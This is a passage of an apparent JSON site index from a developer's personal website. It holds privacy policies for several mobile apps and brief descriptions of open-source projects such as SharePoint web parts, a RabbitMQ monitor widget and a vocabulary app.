of protecting it. But remember that no method of transmission over the internet, or method of electronic storage is 100% secure and reliable, and I cannot guarantee its absolute security.\nLinks to Other Sites\nThis Service may contain links to other sites. If you click on a third-party link, you will be directed to that site. Note that these external sites are not operated by me. Therefore, I strongly advise you to review the Privacy Policy of these websites. I have no control over and assume no responsibility for the content, privacy policies, or practices of any third-party sites or services.\nChildren’s Privacy\nThese Services do not address anyone under the age of 13. I do not knowingly collect personally identifiable information from children under 13. In the case I discover that a child under 13 has provided me with personal information, I immediately delete this from our servers. If you are a parent or guardian and you are aware that your child has provided us with personal information, please contact me so that I will be able to do necessary actions.\nChanges to This Privacy Policy\nI may update our Privacy Policy from time to time. Thus, you are advised to review this page periodically for any changes. I will notify you of any changes by posting the new Privacy Policy on this page. These changes are effective immediately after they are posted on this page.\nContact Us\nIf you have any questions or suggestions about my Privacy Policy, do not hesitate to contact me at ahuja.madhur@gmail.com.\n","permalink":"https://madhur.co.in/privacy/hddusage/","summary":"\u003ch2 id=\"privacy-policy---hdd-usage\"\u003ePrivacy Policy - HDD Usage\u003c/h2\u003e\n\u003cp\u003eMadhur Ahuja built the HDD Usage app as an Open Source app. This SERVICE is provided by Madhur Ahuja at no cost and is intended for use as is.\u003c/p\u003e\n\u003cp\u003eThis page is used to inform visitors regarding my policies with the collection, use, and disclosure of Personal Information if anyone decided to use my Service.\u003c/p\u003e\n\u003cp\u003eIf you choose to use my Service, then you agree to the collection and use of information in relation to this policy. The Personal Information that I collect is used for providing and improving the Service. I will not use or share your information with anyone except as described in this Privacy Policy.\u003c/p\u003e","title":"Privacy Policy"},{"content":"Privacy Policy\nThis privacy policy applies to the Vocab Builder app (hereby referred to as \u0026ldquo;Application\u0026rdquo;) for mobile devices that was created by Madhur Ahuja (hereby referred to as \u0026ldquo;Service Provider\u0026rdquo;) as a Free service. This service is intended for use \u0026ldquo;AS IS\u0026rdquo;.\nWhat information does the Application obtain and how is it used?\nThe Application does not obtain any information when you download and use it. Registration is not required to use the Application.\nDoes the Application collect precise real time location information of the device?\nThis Application does not collect precise information about the location of your mobile device.\nDo third parties see and/or have access to information obtained by the Application?\nSince the Application does not collect any information, no data is shared with third parties.\nWhat are my opt-out rights?\nYou can stop all collection of information by the Application easily by uninstalling it. You may use the standard uninstall processes as may be available as part of your mobile device or via the mobile application marketplace or network.\nChildren\nThe Application is not used to knowingly solicit data from or market to children under the age of 13.\nThe Service Provider does not knowingly collect personally identifiable information from children. The Service Provider encourages all children to never submit any personally identifiable information through the Application and/or Services. The Service Provider encourage parents and legal guardians to monitor their children\u0026rsquo;s Internet usage and to help enforce this Policy by instructing their children never to provide personally identifiable information through the Application and/or Services without their permission. If you have reason to believe that a child has provided personally identifiable information to the Service Provider through the Application and/or Services, please contact the Service Provider (ahuja.madhur@gmail.com) so that they will be able to take the necessary actions. You must also be at least 16 years of age to consent to the processing of your personally identifiable information in your country (in some countries we may allow your parent or guardian to do so on your behalf).\nSecurity\nThe Service Provider is concerned about safeguarding the confidentiality of your information. However, since the Application does not collect any information, there is no risk of your data being accessed by unauthorized individuals.\nChanges\nThis Privacy Policy may be updated from time to time for any reason. The Service Provider will notify you of any changes to their Privacy Policy by updating this page with the new Privacy Policy. You are advised to consult this Privacy Policy regularly for any changes, as continued use is deemed approval of all changes.\nThis privacy policy is effective as of 2024-03-31\nYour Consent\nBy using the Application, you are consenting to the processing of your information as set forth in this Privacy Policy now and as amended by the Service Provider.\nContact Us\nIf you have any questions regarding privacy while using the Application, or have questions about the practices, please contact the Service Provider via email at ahuja.madhur@gmail.com.\n","permalink":"https://madhur.co.in/privacy/vocabbuilder/","summary":"\u003cp\u003e\u003cstrong\u003ePrivacy Policy\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThis privacy policy applies to the Vocab Builder app (hereby referred to as \u0026ldquo;Application\u0026rdquo;) for mobile devices that was created by Madhur Ahuja (hereby referred to as \u0026ldquo;Service Provider\u0026rdquo;) as a Free service. This service is intended for use \u0026ldquo;AS IS\u0026rdquo;.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWhat information does the Application obtain and how is it used?\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe Application does not obtain any information when you download and use it. Registration is not required to use the Application.\u003c/p\u003e","title":"Privacy Policy"},{"content":"Privacy Policy - Weather Pollution Bar Madhur Ahuja built the Weather Pollution Bar app as an Open Source app. This SERVICE is provided by Madhur Ahuja at no cost and is intended for use as is.\nThis page is used to inform visitors regarding my policies with the collection, use, and disclosure of Personal Information if anyone decided to use my Service.\nIf you choose to use my Service, then you agree to the collection and use of information in relation to this policy. The Personal Information that I collect is used for providing and improving the Service. I will not use or share your information with anyone except as described in this Privacy Policy.\nThe terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, which is accessible at Weather Pollution Bar unless otherwise defined in this Privacy Policy.\nInformation Collection and Use\nFor a better experience, while using our Service, I may require you to provide us with certain personally identifiable information. The information that I request will be retained on your device and is not collected by me in any way.\nThe app does use third party services that may collect information used to identify you.\nLink to privacy policy of third party service providers used by the app\nLog Data\nI want to inform you that whenever you use my Service, in a case of an error in the app I collect data and information (through third party products) on your phone called Log Data. This Log Data may include information such as your device Internet Protocol (“IP”) address, device name, operating system version, the configuration of the app when utilizing my Service, the time and date of your use of the Service, and other statistics.\nCookies\nCookies are files with a small amount of data that are commonly used as anonymous unique identifiers. These are sent to your browser from the websites that you visit and are stored on your device\u0026rsquo;s internal memory.\nThis Service does not use these “cookies” explicitly. However, the app may use third party code and libraries that use “cookies” to collect information and improve their services. You have the option to either accept or refuse these cookies and know when a cookie is being sent to your device. If you choose to refuse our cookies, you may not be able to use some portions of this Service.\nService Providers\nI may employ third-party companies and individuals due to the following reasons:\nTo facilitate our Service; To provide the Service on our behalf; To perform Service-related services; or To assist us in analyzing how our Service is used. I want to inform users of this Service that these third parties have access to your Personal Information. The reason is to perform the tasks assigned to them on our behalf. However, they are obligated not to disclose or use the information for any other purpose.\nSecurity\nI value your trust in providing us your Personal Information, thus we are striving to use commercially acceptable means of protecting it. But remember that no method of transmission over the internet, or method of electronic storage is 100% secure and reliable, and I cannot guarantee its absolute security.\nLinks to Other Sites\nThis Service may contain links to other sites. If you click on a third-party link, you will be directed to that site. Note that these external sites are not operated by me. Therefore, I strongly advise you to review the Privacy Policy of these websites. I have no control over and assume no responsibility for the content, privacy policies, or practices of any third-party sites or services.\nChildren’s Privacy\nThese Services do not address anyone under the age of 13. I do not knowingly collect personally identifiable information from children under 13. In the case I discover that a child under 13 has provided me with personal information, I immediately delete this from our servers. If you are a parent or guardian and you are aware that your child has provided us with personal information, please contact me so that I will be able to do necessary actions.\nChanges to This Privacy Policy\nI may update our Privacy Policy from time to time. Thus, you are advised to review this page periodically for any changes. I will notify you of any changes by posting the new Privacy Policy on this page. These changes are effective immediately after they are posted on this page.\nContact Us\nIf you have any questions or suggestions about my Privacy Policy, do not hesitate to contact me at ahuja.madhur@gmail.com.\n","permalink":"https://madhur.co.in/privacy/weather/","summary":"\u003ch2 id=\"privacy-policy---weather-pollution-bar\"\u003ePrivacy Policy - Weather Pollution Bar\u003c/h2\u003e\n\u003cp\u003eMadhur Ahuja built the Weather Pollution Bar app as an Open Source app. This SERVICE is provided by Madhur Ahuja at no cost and is intended for use as is.\u003c/p\u003e\n\u003cp\u003eThis page is used to inform visitors regarding my policies with the collection, use, and disclosure of Personal Information if anyone decided to use my Service.\u003c/p\u003e\n\u003cp\u003eIf you choose to use my Service, then you agree to the collection and use of information in relation to this policy. The Personal Information that I collect is used for providing and improving the Service. I will not use or share your information with anyone except as described in this Privacy Policy.\u003c/p\u003e","title":"Privacy Policy"},{"content":"RabbitMQ Monitor Widget RabbitMQ Monitor Widget allows you to monitor your RabbitMQ queues.\nJust specify the hostname, management port and credentials to access your RabbitMQ Management.\nFeatures\nHighly Configurable Widget Specify Sync interval Please visit the RabbitMQ Monitor github page for more information. Also make sure to log your issues/feature requests to the Github issue log\n","permalink":"https://madhur.co.in/projects/rabbitmq-monitor/","summary":"\u003ch2 id=\"rabbitmq-monitor-widget\"\u003eRabbitMQ Monitor Widget\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"!https://raw.githubusercontent.com/madhur/dashclock-feedly-extension/develop/res/drawable-xhdpi/ic_launcher.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eRabbitMQ Monitor Widget allows you to monitor your RabbitMQ queues.\u003c/p\u003e\n\u003cp\u003eJust specify the hostname, management port and credentials to access your RabbitMQ Management.\u003c/p\u003e\n\u003cp\u003eFeatures\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHighly Configurable Widget\u003c/li\u003e\n\u003cli\u003eSpecify Sync interval\u003c/li\u003e\n\u003c/ul\u003e\n\u003ca href=\"https://play.google.com/store/apps/details?id=in.co.madhur.rabbitmonitor\"\u003e\n  \u003cimg alt=\"Get it on Google Play\"\n       src=\"/images/Get_it_on_Google_play.svg\" /\u003e\n\u003c/a\u003e\n\u003cp\u003ePlease visit the \u003ca href=\"https://github.com/madhur/mq-monitor\"\u003eRabbitMQ Monitor\u003c/a\u003e github page for more information. Also make sure to log your issues/feature requests to the \u003ca href=\"https://github.com/madhur/mq-monitor/issues?state=open\"\u003eGithub issue log\u003c/a\u003e\u003c/p\u003e","title":"RabbitMQ Monitor"},{"content":"Firefox Extension to see the number of Realtime users on your site in the tab of the Realtime google analytics overview page.\nInspired by the similar chrome extension realtime-google-analytics-in-tab\nDownload here\n","permalink":"https://madhur.co.in/projects/realtime-google-analytics-firefox/","summary":"\u003cp\u003eFirefox Extension to see the number of Realtime users on your site in the tab of\nthe Realtime google analytics overview page.\u003c/p\u003e\n\u003cp\u003eInspired by the similar chrome extension \u003ca href=\"https://github.com/haydenjameslee/realtime-google-analytics-in-tab-chrome-extension\"\u003erealtime-google-analytics-in-tab\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://addons.mozilla.org/en-US/firefox/addon/google-analytics-count-in-tab/\"\u003eDownload here\u003c/a\u003e\u003c/p\u003e","title":"Realtime Google Analytics Count in Tab"},{"content":"This gadget pulls the data from a SharePoint list and displays nicely onto a desktop. The gadget utilzes following libraries\nJquery Datejs SPServices Sugar ","permalink":"https://madhur.co.in/projects/sharepoint-gadget/","summary":"\u003cp\u003eThis gadget pulls the data from a SharePoint list and displays nicely onto a desktop. The gadget utilzes following libraries\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://jquery.com\"\u003eJquery\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://www.datejs.com\"\u003eDatejs\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://spservices.codeplex.com/\"\u003eSPServices\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://sugarjs.com/\"\u003eSugar\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"SharePoint Gadget"},{"content":"Live Demo with Sample Data\nFeatures Collapse/Expand of Nodes Reset Root anywhere within the Org Chart Root can be permanently set in web part through parameters Optionally draws dotted line based on input data. Steps Get the .xap file\nInsert the Silverlight WebPart in your SharePoint 2010 site and point it to .XAP file.\nCreate the list with schema shown in screenshot\nPut the GUID of this list in the \u0026ldquo;Custom Initialization Property\u0026rdquo; of the web part as following\n\u0026ldquo;listGuid=48F17F97-77E8-4A38-8FA8-392120D0E899\u0026rdquo;\nYou can optionally also set the \u0026ldquo;Root Node\u0026rdquo; of the Org chart, For example\n\u0026ldquo;listGuid=48F17F97-77E8-4A38-8FA8-392120D0E899,CurrentRoot=Madhur\u0026rdquo;\nHere, the person with Title column value as Madhur will become the root.\nThis project was originally hosted on Codeplex\n","permalink":"https://madhur.co.in/projects/silverlight-organization-chart-for-sharepoint/","summary":"\u003cp\u003e\u003ca href=\"http://www.madhur.co.in/silverdemo/Index.html\"\u003eLive Demo with Sample Data\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCollapse/Expand of Nodes\u003c/li\u003e\n\u003cli\u003eReset Root anywhere within the Org Chart\u003c/li\u003e\n\u003cli\u003eRoot can be permanently set in web part through parameters\u003c/li\u003e\n\u003cli\u003eOptionally draws dotted line based on input data.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"steps\"\u003eSteps\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eGet the .xap file\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eInsert the Silverlight WebPart in your SharePoint 2010 site and point it to .XAP file.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eCreate the list with schema shown in screenshot\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePut the GUID of this list in the \u0026ldquo;Custom Initialization Property\u0026rdquo; of the web part as following\u003c/p\u003e","title":"Silverlight Organization Chart for SharePoint"},{"content":"Whenever you are developing a silverlight solution on SharePoint 2010, one of the basic functionality you will require is the ability to select people from your Active Directory.\nSadly, I could not find a ready made custom silverlight control which I could utilize for my solution. I decided to write on my own. Rather than writing from scratch, I decided to use the boilerplate code provided by Steve.\nThis project contains a Silverlight People picker and People Chooser WebPart\nSee accompanying blog post for more information on how this controls is built - Writing Silverlight people picker control using SharePoint 2010 Client object model\n","permalink":"https://madhur.co.in/projects/silverlight-people-picker/","summary":"\u003cp\u003eWhenever you are developing a silverlight solution on SharePoint 2010, one of the basic functionality you will require is the ability to select people from your Active Directory.\u003c/p\u003e\n\u003cp\u003eSadly, I could not find a ready made custom silverlight control which I could utilize for my solution. I decided to write on my own. Rather than writing from scratch, I decided to\nuse the boilerplate code \u003ca href=\"http://blogs.technet.com/b/speschka/archive/2011/08/09/writing-a-sharepoint-2010-people-picker-control-for-silverlight.aspx\"\u003eprovided\u003c/a\u003e by Steve.\u003c/p\u003e\n\u003cp\u003eThis project contains a Silverlight People picker and People Chooser WebPart\u003c/p\u003e","title":"Silverlight People picker and People Chooser WebPart"},{"content":"A simple webpart which shows the allocation space used by sharepoint site against its allocated quota. The site collection must have quotas enabled.\n","permalink":"https://madhur.co.in/projects/site-quota-webpart/","summary":"\u003cp\u003eA simple webpart which shows the allocation space used by sharepoint site against its allocated quota. The site collection must have quotas enabled.\u003c/p\u003e","title":"Site Quota WebPart"},{"content":"STP Inspector is an site template inspector for WSS/MOSS 2007. It analyzes a site template file (.stp) and basically shows its dependencies on the site features and site collection features.\nI wrote this utility to debug some of the issues which are faced while applying site templates saved from different server. The issues are more often when site template contains custom solution such as custom master page, web parts or features.\nIf the MOSS/WSS is installed on the machine on which this utility is run, it will show you if there is any feature which is missing on that system. In that case, you must install the missing feature from the source site.\nThis project was originally hosted on Codeplex\n","permalink":"https://madhur.co.in/projects/stp-inspector/","summary":"\u003cp\u003eSTP Inspector is an site template inspector for WSS/MOSS 2007. It analyzes a site template file (.stp) and basically shows its dependencies on the site features and site collection features.\u003c/p\u003e\n\u003cp\u003eI wrote this utility to debug some of the issues which are faced while applying site templates saved from different server. The issues are more often when site template contains custom solution such as custom master page, web parts or features.\u003c/p\u003e","title":"STP Inspector"},{"content":"Vocab Builder Vocab Builder helps you build and revise your vocabulary. Works great for GRE, CAT, CMAT, XAT, SAT, GMAT, etc\nFeatures Collection of around 4800 words Completely offline - no internet connection required. Customizable - Add your own words, edit existing words. Learning mode and revision mode. In revision mode, you swipe to reveal the word meaning.\nIn learning mode, the meaning is automatically shown.\nTagging \u0026amp; Synonyms - A word can be tagged with multiple other words. It allows you to make your own grouping of words. Periodic Notification - A notification can be configured to appear periodically which will show you the word along with its meaning. The notification can be configured to show only the words you want to learn. Star Rating System Vocab Builder is unique from other vocabulary building software in a way it employs flexible star rating system. It makes no assumption regarding your current level of vocabulary or the words you find easy/difficulty.\nInstead, it allows you to mark words in 3 different categories\nZero star Half Star Full star It is up to you to give semantic meaning to the star.\nFor people with strong vocabulary, a star can be given to few words they have trouble learning. For people who are just beginning to learn words, a star can be given to words they have already learnt. Notification system allows you to specify what star level words you want to be shown in notifications. A statistics page give percentage of each of starred, half starred and un-starred words.\nHave a bug report or feature request? Just find the issue or file a new one here\n","permalink":"https://madhur.co.in/projects/vocab-builder/","summary":"\u003ch2 id=\"vocab-builder\"\u003eVocab Builder\u003c/h2\u003e\n\u003cp\u003eVocab Builder helps you build and revise your vocabulary. Works great for GRE, CAT, CMAT, XAT, SAT, GMAT, etc\u003c/p\u003e\n\u003ch2 id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCollection of around 4800 words\u003c/li\u003e\n\u003cli\u003eCompletely offline - no internet connection required.\u003c/li\u003e\n\u003cli\u003eCustomizable - Add your own words, edit existing words.\u003c/li\u003e\n\u003cli\u003eLearning mode and revision mode.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn revision mode, you swipe to reveal the word meaning.\u003cbr\u003e\nIn learning mode, the meaning is automatically shown.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTagging \u0026amp; Synonyms - A word can be tagged with multiple other words. It allows you to make your own grouping of words.\u003c/li\u003e\n\u003cli\u003ePeriodic Notification - A notification can be configured to appear periodically which will show you the word along with its meaning.\u003c/li\u003e\n\u003cli\u003eThe notification can be configured to show only the words you want to learn.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"star-rating-system\"\u003eStar Rating System\u003c/h2\u003e\n\u003cp\u003eVocab Builder is unique from other vocabulary building software in a way it employs flexible star rating system. It makes no assumption regarding your current level of vocabulary or the words you find easy/difficulty.\u003c/p\u003e","title":"Vocab Builder"},{"content":"A simple weather and pollution shortcut menu for OS X, written purely in Apple Swift 2.1\n*Pollution is currently available in India only in select cities.\nhttps://github.com/madhur/weather-pollution-bar\nCredits The weather data is obtained from OpenWeatherMap API The pollution data is obtained from CPCB\nI also looked to projects such as Shuttle for direction on building status bar Cocoa apps.\n","permalink":"https://madhur.co.in/projects/weather-pollution-bar/","summary":"\u003cp\u003eA simple weather and pollution shortcut menu for OS X, written purely in \u003ca href=\"https://developer.apple.com/swift/\"\u003eApple Swift 2.1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003csup\u003e*Pollution is currently available in India only in select cities.\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/madhur/weather-pollution-bar\"\u003ehttps://github.com/madhur/weather-pollution-bar\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://itunes.apple.com/us/app/weather-pollution-bar/id1077958272?ls=1\u0026amp;mt=12\"\u003e\u003cimg loading=\"lazy\" src=\"/images/appstorebadge.svg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"credits\"\u003eCredits\u003c/h2\u003e\n\u003cp\u003eThe weather data is obtained from \u003ca href=\"http://openweathermap.org/api\"\u003eOpenWeatherMap API\u003c/a\u003e\nThe pollution data is obtained from \u003ca href=\"http://cpcb.nic.in/\"\u003eCPCB\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eI also looked to projects such as \u003ca href=\"https://github.com/fitztrev/shuttle\"\u003eShuttle\u003c/a\u003e for direction on building status bar Cocoa apps.\u003c/p\u003e","title":"Weather Pollution Bar"}]